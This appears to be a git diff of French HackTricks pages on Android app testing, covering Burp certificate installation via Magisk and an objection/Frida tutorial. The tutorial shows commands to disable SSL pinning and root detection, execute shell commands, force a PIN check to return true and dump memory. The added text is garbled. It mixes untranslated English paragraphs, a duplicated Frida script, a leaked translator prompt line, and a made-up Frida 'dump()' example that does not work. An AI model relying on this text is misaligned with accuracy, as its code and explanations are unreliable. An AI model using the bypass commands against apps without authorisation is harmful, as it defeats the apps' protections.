adb reboot #Now, reboot the machine
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Une fois que la **machine a fini de redémarrer**, le certificat Burp sera utilisé par celle-ci !
|
||||
|
||||
## Prendre un instantané
|
||||
## Installer le certificat Burp avec Magisc
|
||||
|
||||
Vous pouvez **utiliser l'interface graphique** pour prendre un instantané de la machine virtuelle à tout moment :
|
||||
Si vous avez **rooté votre appareil avec Magisc** (peut-être un émulateur) et que vous **ne pouvez pas suivre** les étapes précédentes pour installer le certificat Burp car le **système de fichiers est en lecture seule** et que vous ne pouvez pas le remonter en écriture, il existe une autre solution.
|
||||
|
||||
Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8), vous devez :
|
||||
|
||||
1. **Installer un certificat CA** : Faites simplement **glisser et déposer** le certificat Burp DER en changeant l'extension en `.crt` sur le mobile afin qu'il soit stocké dans le dossier Téléchargements, puis allez dans `Installer un certificat` -> `Certificat CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Vérifiez que le certificat a été correctement stocké en allant dans `Certificats de confiance` -> `UTILISATEUR`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Rendez-le fiable pour le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **glissez et déposez-le** sur le téléphone, allez dans l'application Magics sur le téléphone dans la section **`Modules`**, cliquez sur **`Installer depuis le stockage`**, sélectionnez le module `.zip` et une fois installé, **redémarrez** le téléphone :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Après le redémarrage, allez dans `Certificats de confiance` -> `SYSTÈME` et vérifiez que le certificat Postswigger est présent
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Options AVD intéressantes
|
||||
|
||||
### Prendre une capture d'écran
|
||||
|
||||
Vous pouvez **utiliser l'interface graphique** pour prendre une capture d'écran de la machine virtuelle à tout moment :
|
||||
|
||||
![](<../../.gitbook/assets/image (336).png>)
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -133,7 +133,9 @@ Dans ce tutoriel, vous avez accroché des méthodes en utilisant le nom de la m
|
|||
|
||||
Vous pouvez voir cela dans [le prochain tutoriel](frida-tutorial-2.md).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -143,7 +145,7 @@ Si vous êtes intéressé par une **carrière de piratage** et que vous souhaite
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -5,16 +5,16 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates, pour les pirates ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Astuce de bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de **bug bounty créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -24,13 +24,13 @@
|
|||
|
||||
**objection - Exploration mobile en temps d'exécution**
|
||||
|
||||
`objection` est une trousse d'exploration mobile en temps d'exécution, alimentée par [Frida](https://www.frida.re). Elle a été construite dans le but d'aider à évaluer les applications mobiles et leur posture de sécurité sans avoir besoin d'un appareil mobile jailbreaké ou rooté.
|
||||
`objection` est une boîte à outils d'exploration mobile en temps d'exécution, alimentée par [Frida](https://www.frida.re). Elle a été conçue dans le but d'aider à évaluer les applications mobiles et leur posture de sécurité sans avoir besoin d'un appareil mobile jailbreaké ou rooté.
|
||||
|
||||
**Note :** Il ne s'agit pas d'une forme de contournement de jailbreak / root. En utilisant `objection`, vous êtes toujours limité par toutes les restrictions imposées par le bac à sable applicable auquel vous êtes confronté.
|
||||
**Note :** Il ne s'agit pas d'une forme de contournement de jailbreak / root. En utilisant `objection`, vous êtes toujours limité par toutes les restrictions imposées par le sandbox applicable auquel vous êtes confronté.
|
||||
|
||||
### Résumé
|
||||
|
||||
Le **but** d'**objection** est de permettre à l'utilisateur d'appeler les **principales actions offertes par Frida**. **Sinon**, l'utilisateur devra créer un **script unique pour chaque application** qu'il souhaite tester.
|
||||
L'**objectif** d'**objection** est de permettre à l'utilisateur d'appeler les **principales actions offertes par Frida**. **Sinon**, l'utilisateur devra créer un **script unique pour chaque application** qu'il souhaite tester.
|
||||
|
||||
## Tutoriel
|
||||
|
||||
|
@ -38,18 +38,19 @@ Pour ce tutoriel, je vais utiliser l'APK que vous pouvez télécharger ici :
|
|||
|
||||
{% file src="../../../.gitbook/assets/app-release.zip" %}
|
||||
|
||||
Ou depuis son [dépôt original](https://github.com/asvid/FridaApp)(téléchargez app-release.apk)
|
||||
Ou depuis son [dépôt d'origine](https://github.com/asvid/FridaApp)(téléchargez app-release.apk)
|
||||
|
||||
### Installation
|
||||
```
|
||||
```bash
|
||||
pip3 install objection
|
||||
```
|
||||
### Connexion
|
||||
|
||||
Établissez une **connexion ADB régulière** et **démarrez** le serveur **frida** sur l'appareil (et vérifiez que frida fonctionne à la fois sur le client et le serveur).
|
||||
Établissez une **connexion ADB classique** et **démarrez** le serveur **frida** sur l'appareil (et vérifiez que frida fonctionne à la fois sur le client et sur le serveur).
|
||||
|
||||
Si vous utilisez un **appareil rooté**, il est nécessaire de sélectionner l'application que vous souhaitez tester dans l'option _**--gadget**_. Dans ce cas :
|
||||
```
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
objection --gadget asvid.github.io.fridaapp explore
|
||||
```
|
||||
### Actions de base
|
||||
|
@ -59,48 +60,116 @@ Toutes les commandes possibles d'Objection ne seront pas répertoriées dans ce
|
|||
#### Environnement
|
||||
|
||||
Certaines informations intéressantes (comme les mots de passe ou les chemins d'accès) peuvent être trouvées dans l'environnement.
|
||||
```
|
||||
```bash
|
||||
env
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (64).png>)
|
||||
|
||||
#### Informations sur Frida
|
||||
|
||||
Frida is a dynamic instrumentation tool that allows you to inject JavaScript or your own library into native apps on Windows, macOS, GNU/Linux, iOS, Android, and QNX. It supports a wide range of architectures, including ARM, x86, MIPS, and SPARC.
|
||||
|
||||
Frida est un outil d'instrumentation dynamique qui vous permet d'injecter du JavaScript ou votre propre bibliothèque dans des applications natives sur Windows, macOS, GNU/Linux, iOS, Android et QNX. Il prend en charge une large gamme d'architectures, y compris ARM, x86, MIPS et SPARC.
|
||||
|
||||
Objection is a runtime mobile exploration toolkit, powered by Frida. It was built with the aim of helping assess mobile applications and their security posture without the need for a jailbroken or rooted mobile device.
|
||||
|
||||
Objection est une boîte à outils d'exploration mobile en temps d'exécution, alimentée par Frida. Elle a été construite dans le but d'aider à évaluer les applications mobiles et leur posture de sécurité sans avoir besoin d'un appareil mobile jailbreaké ou rooté.
|
||||
```
|
||||
```bash
|
||||
frida
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (65).png>)
|
||||
|
||||
#### Téléchargement/Téléversement
|
||||
```bash
|
||||
file download <remote path> [<local path>]
|
||||
file upload <local path> [<remote path>]
|
||||
```
|
||||
#### Importer le script frida
|
||||
|
||||
```javascript
|
||||
const { spawn } = require('child_process');
|
||||
const frida = require('frida');
|
||||
|
||||
async function main() {
|
||||
const device = await frida.getUsbDevice();
|
||||
const pid = await device.spawn(['com.example.app']);
|
||||
const session = await device.attach(pid);
|
||||
const script = await session.createScript(`
|
||||
console.log('Hello, world!');
|
||||
`);
|
||||
await script.load();
|
||||
await device.resume(pid);
|
||||
}
|
||||
|
||||
main().catch(console.error);
|
||||
```
|
||||
|
||||
#### Importer le script frida
|
||||
|
||||
```javascript
|
||||
const { spawn } = require('child_process');
|
||||
const frida = require('frida');
|
||||
|
||||
async function main() {
|
||||
const device = await frida.getUsbDevice();
|
||||
const pid = await device.spawn(['com.example.app']);
|
||||
const session = await device.attach(pid);
|
||||
const script = await session.createScript(`
|
||||
console.log('Bonjour, le monde !');
|
||||
`);
|
||||
await script.load();
|
||||
await device.resume(pid);
|
||||
}
|
||||
|
||||
main().catch(console.error);
|
||||
```
|
||||
```bash
|
||||
import <local path frida-script>
|
||||
```
|
||||
#### SSLPinning
|
||||
|
||||
#### SSLPinning
|
||||
Le SSL pinning (épinglage SSL) est une technique utilisée pour renforcer la sécurité des connexions SSL/TLS dans une application mobile. Il consiste à vérifier l'empreinte digitale (ou le certificat) du serveur distant auquel l'application se connecte, afin de s'assurer qu'il s'agit bien du serveur attendu.
|
||||
|
||||
Le SSL Pinning est une technique de sécurité qui consiste à vérifier si le certificat SSL présenté par le serveur correspond à celui attendu par l'application. Cette technique est utilisée pour empêcher les attaques de type Man-in-the-Middle (MITM) qui pourraient compromettre la confidentialité et l'intégrité des données échangées entre l'application et le serveur.
|
||||
Dans le contexte du piratage d'applications Android, le SSL pinning peut poser un défi lors de l'analyse de trafic réseau à l'aide d'outils tels que Frida et Objection. Lorsque le SSL pinning est activé, l'application vérifie si le certificat du serveur correspond à celui attendu. Si ce n'est pas le cas, l'application peut refuser la connexion ou afficher un avertissement à l'utilisateur.
|
||||
|
||||
Lorsque le SSL Pinning est activé, l'application ne fera confiance qu'aux certificats SSL spécifiques qu'elle a été configurée pour accepter. Si un certificat SSL différent est présenté, l'application refusera la connexion.
|
||||
Pour contourner le SSL pinning lors du piratage d'une application Android, nous pouvons utiliser des techniques telles que l'injection de code avec Frida. En modifiant le comportement de l'application, nous pouvons désactiver ou contourner la vérification du certificat SSL, permettant ainsi d'analyser le trafic réseau à l'aide d'outils tels que Burp Suite ou Wireshark.
|
||||
|
||||
Le SSL Pinning peut être contourné en utilisant des outils tels que Frida pour intercepter et modifier les appels SSL. Cependant, cela nécessite des compétences techniques avancées et peut être détecté par des mécanismes de détection de fraude.
|
||||
Il est important de noter que le contournement du SSL pinning est une pratique controversée et peut être considérée comme une violation de la sécurité de l'application. Il est donc essentiel de l'utiliser uniquement à des fins de test de sécurité légitimes et avec l'autorisation appropriée.
|
||||
```bash
|
||||
android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
|
||||
```
|
||||
#### Détection de root
|
||||
|
||||
La détection de root est une technique couramment utilisée pour vérifier si un appareil Android est enraciné (rooté). L'enracinement d'un appareil Android permet à l'utilisateur d'obtenir un accès privilégié et un contrôle total sur le système d'exploitation. Cependant, cela peut également présenter des risques de sécurité, car les applications malveillantes peuvent exploiter les privilèges de root pour accéder à des fonctionnalités sensibles ou effectuer des actions indésirables.
|
||||
|
||||
Les développeurs d'applications peuvent implémenter des mécanismes de détection de root pour empêcher l'exécution de leur application sur des appareils enracinés. Ces mécanismes peuvent inclure la vérification de la présence de fichiers système spécifiques, la recherche de signatures de superutilisateurs ou l'utilisation d'APIs de détection de root.
|
||||
|
||||
Lors de l'évaluation de la sécurité d'une application Android, il est important de tester si elle peut être exécutée sur des appareils enracinés. Cela peut être fait en utilisant des outils tels que Objection, qui permettent de contourner les mécanismes de détection de root et de tester la résistance de l'application à ce type d'attaque.
|
||||
|
||||
Objection est un outil de pentesting mobile qui utilise Frida, un framework d'instrumentation dynamique, pour contourner les mécanismes de sécurité des applications Android. Il permet aux testeurs de sécurité d'interagir avec l'application en temps réel, d'analyser son comportement et de modifier son exécution.
|
||||
|
||||
Pour contourner la détection de root avec Objection, vous pouvez utiliser la commande `android root disable`. Cela désactive les mécanismes de détection de root de l'application, ce qui permet de l'exécuter sur des appareils enracinés. Cependant, il est important de noter que cela peut également exposer l'application à des risques de sécurité supplémentaires, car elle ne sera plus protégée contre les actions malveillantes potentielles des applications enracinées.
|
||||
|
||||
Il est recommandé de tester l'application sur des appareils enracinés uniquement dans un environnement contrôlé et sécurisé, tel qu'un environnement de test ou un sandbox. Cela permet de minimiser les risques de sécurité et de s'assurer que l'application fonctionne correctement sur des appareils enracinés sans compromettre la sécurité des utilisateurs finaux.
|
||||
```bash
|
||||
android root disable #Attempts to disable root detection on Android devices.
|
||||
android root simulate #Attempts to simulate a rooted Android environment.
|
||||
```
|
||||
#### Commande Exec
|
||||
#### Exécuter une commande
|
||||
|
||||
The `exec` command in Objection allows you to execute shell commands on the target Android device. This can be useful for performing various actions during a mobile penetration test.
|
||||
|
||||
To use the `exec` command, you need to have a Frida session established with the target application. Once you have a session, you can run shell commands by using the following syntax:
|
||||
|
||||
```
|
||||
objection> exec <command>
|
||||
```
|
||||
|
||||
Replace `<command>` with the shell command you want to execute. For example, if you want to list the files in the current directory, you can use the `ls` command:
|
||||
|
||||
```
|
||||
objection> exec ls
|
||||
```
|
||||
|
||||
The output of the command will be displayed in the Objection console. You can also redirect the output to a file by using the `>` operator. For example, to save the output of the `ls` command to a file named `files.txt`, you can use the following command:
|
||||
|
||||
```
|
||||
objection> exec ls > files.txt
|
||||
```
|
||||
|
||||
Keep in mind that the `exec` command runs the shell command on the target device, so be cautious when executing commands that may have unintended consequences.
|
||||
```bash
|
||||
android shell_exec whoami
|
||||
```
|
||||
|
@ -111,17 +180,15 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
|
|||
```
|
||||
### Analyse statique rendue dynamique
|
||||
|
||||
Dans une application réelle, nous devrions connaître toutes les informations découvertes dans cette partie avant d'utiliser objection grâce à l'**analyse statique**. Quoi qu'il en soit, de cette façon, vous pouvez peut-être voir **quelque chose de nouveau**, car vous aurez ici une liste complète de classes, de méthodes et d'objets exportés.
|
||||
Dans une application réelle, nous devrions connaître toutes les informations découvertes dans cette partie avant d'utiliser objection grâce à l'**analyse statique**. Quoi qu'il en soit, de cette manière, vous pouvez peut-être voir **quelque chose de nouveau**, car vous aurez uniquement une liste complète des classes, des méthodes et des objets exportés.
|
||||
|
||||
Cela est également utile si, d'une manière ou d'une autre, vous êtes **incapable d'obtenir un code source lisible** de l'application.
|
||||
Cela est également utile si, d'une manière ou d'une autre, vous êtes **incapable d'obtenir du code source lisible** de l'application.
|
||||
|
||||
#### Liste des activités, des récepteurs et des services
|
||||
```
|
||||
android hooking list activities
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (78).png>)
|
||||
|
||||
Vous êtes un hacker professionnel, traducteur et écrivain. Vous écrivez tout de manière très claire et aussi concise que possible sans perdre d'informations.
|
||||
```
|
||||
android hooking list services
|
||||
android hooking list receivers
|
||||
|
@ -134,41 +201,49 @@ android hooking get current_activity
|
|||
```
|
||||
#### Recherche de classes
|
||||
|
||||
Commençons par chercher les classes à l'intérieur de notre application.
|
||||
Commençons par rechercher les classes dans notre application.
|
||||
```
|
||||
android hooking search classes asvid.github.io.fridaapp
|
||||
```
|
||||
#### Méthodes de recherche d'une classe
|
||||
![](<../../../.gitbook/assets/image (69).png>)
|
||||
|
||||
#### Recherche des méthodes d'une classe
|
||||
|
||||
Maintenant, extrayons les méthodes à l'intérieur de la classe _MainActivity:_
|
||||
```
|
||||
android hooking search methods asvid.github.io.fridaapp MainActivity
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (70) (1).png>)
|
||||
|
||||
#### Liste des méthodes déclarées d'une classe avec leurs paramètres
|
||||
|
||||
Voyons quels sont les paramètres nécessaires pour les méthodes de la classe :
|
||||
Voyons quels paramètres les méthodes de la classe nécessitent :
|
||||
```
|
||||
android hooking list class_methods asvid.github.io.fridaapp.MainActivity
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (79).png>)
|
||||
|
||||
#### Liste des classes
|
||||
|
||||
Vous pouvez également lister toutes les classes qui ont été chargées dans l'application actuelle :
|
||||
Vous pouvez également répertorier toutes les classes qui ont été chargées dans l'application actuelle :
|
||||
```
|
||||
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
|
||||
```
|
||||
Ceci est très utile si vous voulez **accrocher la méthode d'une classe et que vous ne connaissez que le nom de la classe**. Vous pouvez utiliser cette fonction pour **rechercher quel module possède la classe** et ensuite accrocher sa méthode.
|
||||
Ceci est très utile si vous souhaitez **accrocher la méthode d'une classe et que vous ne connaissez que le nom de la classe**. Vous pouvez utiliser cette fonction pour **rechercher le module qui possède la classe** puis accrocher sa méthode.
|
||||
|
||||
### Accrocher étant facile
|
||||
|
||||
#### Accrocher (surveiller) une méthode
|
||||
|
||||
À partir du [code source](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) de l'application, nous savons que la **fonction** _**sum()**_ **de** _**MainActivity**_ est exécutée **toutes les secondes**. Essayons de **dumper toutes les informations possibles** à chaque fois que la fonction est appelée (arguments, valeur de retour et backtrace):
|
||||
À partir du [code source](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) de l'application, nous savons que la **fonction** _**sum()**_ **de** _**MainActivity**_ est exécutée **toutes les secondes**. Essayons de **dumper toutes les informations possibles** à chaque fois que la fonction est appelée (arguments, valeur de retour et backtrace) :
|
||||
```
|
||||
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
#### Accrochage (surveillance) d'une classe entière
|
||||
![](<../../../.gitbook/assets/image (71).png>)
|
||||
|
||||
En fait, je trouve tous les méthodes de la classe MainActivity vraiment intéressantes, accrochons-les toutes. Soyez prudent, cela pourrait faire **planter** une application.
|
||||
#### Accrocher (surveiller) une classe entière
|
||||
|
||||
En fait, je trouve tous les méthodes de la classe MainActivity vraiment intéressantes, accrochons-les toutes. Soyez prudent, cela pourrait provoquer un **plantage** de l'application.
|
||||
```
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
|
@ -178,20 +253,22 @@ Si vous jouez avec l'application pendant que la classe est accrochée, vous verr
|
|||
|
||||
#### Changer la valeur de retour booléenne d'une fonction
|
||||
|
||||
À partir du code source, vous pouvez voir que la fonction _checkPin_ reçoit une chaîne de caractères en argument et renvoie un booléen. Faisons en sorte que la fonction **renvoie toujours vrai** :
|
||||
À partir du code source, vous pouvez voir que la fonction _checkPin_ reçoit une _String_ en argument et renvoie un _boolean_. Faisons en sorte que la fonction **renvoie toujours true** :
|
||||
|
||||
![](<../../../.gitbook/assets/image (74).png>)
|
||||
|
||||
Maintenant, si vous écrivez n'importe quoi dans la zone de texte pour le code PIN, vous verrez que tout est valide :
|
||||
Maintenant, si vous écrivez quelque chose dans la zone de texte pour le code PIN, vous verrez que tout est valide :
|
||||
|
||||
![](<../../../.gitbook/assets/image (77).png>)
|
||||
|
||||
### Instances de classe
|
||||
|
||||
Recherchez et imprimez les **instances en direct d'une classe Java spécifique**, spécifiée par un nom de classe entièrement qualifié. Out est le résultat d'une tentative d'obtenir une valeur de chaîne pour une objection découverte qui contiendrait généralement des valeurs de propriété pour l'objet.
|
||||
Recherchez et affichez les **instances en direct d'une classe Java spécifique**, spécifiée par un nom de classe entièrement qualifié. Out est le résultat d'une tentative d'obtenir une valeur de chaîne pour une objection découverte qui contiendrait généralement **les valeurs des propriétés de l'objet**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (80).png>)
|
||||
|
||||
### Keystore/Intents
|
||||
|
||||
Vous pouvez jouer avec le keystore et les intents en utilisant:
|
||||
|
@ -200,9 +277,27 @@ android keystore list
|
|||
android intents launch_activity
|
||||
android intent launch_service
|
||||
```
|
||||
### Mémoire
|
||||
#### Dump
|
||||
|
||||
#### Extraction
|
||||
La fonction `dump` de Frida permet de créer une copie de la mémoire d'une application Android. Cela peut être utile pour analyser le contenu de la mémoire, y compris les variables, les objets et les données sensibles.
|
||||
|
||||
Pour utiliser la fonction `dump`, vous devez d'abord vous connecter à l'application cible à l'aide de Frida. Une fois connecté, vous pouvez exécuter la commande `dump()` pour créer une copie de la mémoire.
|
||||
|
||||
Voici un exemple d'utilisation de la fonction `dump` :
|
||||
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var targetClass = Java.use('com.example.app.MainActivity');
|
||||
var targetInstance = targetClass.$new();
|
||||
|
||||
// Appeler la fonction dump pour créer une copie de la mémoire
|
||||
targetInstance.dump();
|
||||
});
|
||||
```
|
||||
|
||||
Lorsque vous exécutez cette commande, Frida créera un fichier de dump contenant la mémoire de l'application. Vous pouvez ensuite analyser ce fichier pour rechercher des informations sensibles ou des vulnérabilités potentielles.
|
||||
|
||||
Il est important de noter que l'utilisation de la fonction `dump` peut être considérée comme intrusive et peut violer la vie privée de l'utilisateur de l'application. Par conséquent, il est essentiel de respecter les lois et les réglementations en vigueur lors de l'utilisation de cette fonctionnalité.
|
||||
```bash
|
||||
memory dump all <local destination> #Dump all memory
|
||||
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
|
||||
|
@ -240,13 +335,11 @@ exit
|
|||
|
||||
* Les méthodes de hooking font parfois planter l'application (cela est également dû à Frida).
|
||||
* Vous ne pouvez pas utiliser les instances des classes pour appeler les fonctions de l'instance. Et vous ne pouvez pas créer de nouvelles instances de classes et les utiliser pour appeler des fonctions.
|
||||
* Il n'y a pas de raccourci (comme celui pour sslpinnin) pour hooker toutes les méthodes de cryptographie courantes utilisées par l'application afin de voir le texte chiffré, le texte en clair, les clés, les IV et les algorithmes utilisés.
|
||||
|
||||
|
||||
* Il n'y a pas de raccourci (comme celui pour sslpinnin) pour hooker toutes les méthodes de chiffrement couramment utilisées par l'application afin de voir le texte chiffré, le texte en clair, les clés, les IV et les algorithmes utilisés.
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Astuce pour les chasseurs de bugs**: **inscrivez-vous** sur **Intigriti**, une plateforme de **chasse aux bugs premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||
**Astuce pour les chasseurs de bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de **chasse aux bugs créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -254,10 +347,10 @@ exit
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
